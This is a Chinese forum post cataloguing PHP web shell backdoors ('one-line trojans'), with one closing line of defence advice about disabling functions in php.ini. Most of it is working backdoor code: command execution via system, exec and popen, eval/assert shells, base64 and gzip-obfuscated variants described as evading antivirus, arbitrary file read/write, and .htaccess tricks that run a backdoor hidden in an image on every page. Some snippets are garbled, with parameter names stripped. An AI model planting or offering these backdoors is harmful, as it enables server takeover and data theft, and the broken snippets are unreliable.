PHP木马大全 一句话的PHP木马的防范
php后门木马常用的函数大致上可分为四种类型: <br /><br /> 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open <br /><br /> 2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 <br /><br /> 3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite <br /><br /> 4. .htaccess: SetHandler, auto_prepend_file, auto_append_file <br /><br /> 1. 执行系统命令: <br /><br /> system 函数 <br /><br /> //test.php?cmd=ls <br /><br /> system($_GET); <br /><br /> passthru 函数 <br /><br /> //test.php?cmd=ls <br /><br /> passthru($_GET); <br /><br /> shell_exec 函数 <br /><br /> //test.php?cmd=ls <br /><br /> echo shell_exec($_GET); <br /><br /> exec 函数 <br /><br /> //test.php?cmd=ls <br /><br /> $arr = array(); <br /><br /> exec($_GET,$arr); <br /><br /> print_r($arr); <br /><br /> popen 函数 <br /><br /> //test.php?cmd=ls <br /><br /> $handle = popen('$_GET, 'r'); <br /><br /> $read = fread($handle, 2096); <br /><br /> echo $read; <br /><br /> pclose($handle); <br /><br /> proc_open 函数 <br /><br /> //test.php?cmd=ls <br /><br /> $descriptorspec = array( <br /><br /> 0 => array('pipe', 'r'), <br /><br /> 1 => array('pipe', 'w'), <br /><br /> 2 => array('pipe', 'w'), <br /><br /> ); <br /><br /> $proc = @proc_open($_GET, $descriptorspec, $pipes); <br /><br /> fclose($pipes); <br /><br /> $output = array(); <br /><br /> while (!feof($pipes)) array_push($output, rtrim(fgets($pipes,1024),"\n")); <br /><br /> print_r($output); <br /><br /> 2. 代码执行与加密: <br /><br /> eval 函数 <br /><br /> //最常见的一句话木马 <br /><br /> eval($_POST); <br /><br /> base64_decode 函数 <br /><br /> //为了免杀及隐藏而加密代码 <br /><br /> //密文: eval($_POST['cmd']); <br /><br /> eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); <br /><br /> gzinflate 函数 <br /><br /> //为了免杀及隐藏而加密代码 <br /><br /> //密文: eval($_POST['cmd']); <br /><br /> eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); <br /><br /> gzuncompress 函数 <br /><br /> //为了免杀及隐藏而加密代码 <br /><br /> //密文: eval($_POST['cmd']); <br /><br /> eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); <br /><br /> gzdecode 函数 <br /><br /> //为了免杀及隐藏而加密代码 <br /><br /> //密文: eval($_POST['cmd']); <br /><br /> eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); <br /><br /> str_rot13 函数 <br /><br /> //为了免杀及隐藏而加密代码 <br /><br /> //密文: eval($_POST); <br /><br /> eval(str_rot13('riny($_CBFG);')); <br /><br /> assert 函数 <br /><br /> //类似eval函数 <br /><br /> assert($_POST); <br /><br /> call_user_func 函数 <br /><br /> //使用call_user_func调用assert <br /><br /> call_user_func('assert',$_POST); <br /><br /> call_user_func 函数 <br /><br /> //使用call_user_func调用任意函数 <br /><br /> //test.php?a=assert&cmd=phpinfo() <br /><br /> call_user_func($_GET,$_REQUEST); <br /><br /> 组合代码 <br /><br /> //组合方式调用任意函数 <br /><br /> //test.php?a=assert&cmd=phpinfo() <br /><br /> $_GET($_REQUEST); <br /><br /> 3. 文件包含与生成: <br /><br /> require 函数 <br /><br /> //包含任意文件 <br /><br /> //test.php?file=123.jpg <br /><br /> require($_GET); <br /><br /> require_once 函数 <br /><br /> //包含任意文件 <br /><br /> //test.php?file=123.jpg <br /><br /> require_once($_GET); <br /><br /> include 函数 <br /><br /> //包含任意文件 www.jb51.net <br /><br /> //test.php?file=123.jpg <br /><br /> include($_GET); <br /><br /> include_once 函数 <br /><br /> //包含任意文件 <br /><br /> //test.php?file=123.jpg <br /><br /> include_once($_GET); <br /><br /> file_get_contents 函数 <br /><br /> //读取任意文件 <br /><br /> //test.php?f=config.inc.php <br /><br /> echo file_get_contents($_GET['f']); <br /><br /> file_put_contents 函数 <br /><br /> //生成任意内容文件 <br /><br /> //a=test.php&b= <br /><br /> file_put_contents($_GET,$_GET); <br /><br /> fputs 函数 <br /><br /> //生成任意内容文件 <br /><br /> //a=test.php&b= <br /><br /> fputs(fopen($_GET,"w"),$_GET); <br /><br /> 4. .htaccess: <br /><br /> SetHandler <br /><br /> //可将php代码存于非php后缀文件,例: x.jpg <br /><br /> //将以下代码写入.htaccess中 <br /><br /> //连接x.jpg即可启动后门木马出处www.admin8.us <br /><br /> <br /><br /> SetHandler application/x-httpd-php <br /><br /> <br /><br /> auto_prepend_file <br /><br /> //可将php代码存于非php后缀文件,例: 123.gif <br /><br /> //将以下代码写入.htaccess中, 文件路径必须是绝对路径 <br /><br /> //访问网站上任何php文件都会启动该php后门木马 <br /><br /> //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 <br /><br /> php_value auto_prepend_file c:/apache2/htdocs/123.gif <br /><br /> auto_append_file <br /><br /> //类似auto_prepend_file <br /><br /> //可将php代码存于非php后缀文件,例: 123.gif <br /><br /> //将以下代码写入.htaccess中, 文件路径必须是绝对路径 <br /><br /> //访问网站上任何php文件都会启动该php后门木马 <br /><br /> php_value auto_append_file c:/apache2/htdocs/123.gif <br /><br />防范方法:通过禁止危险函数 php.ini中设置disable_functions详情可以参考下 https://www.jb51.net/article/19292.htm
頁:
[1]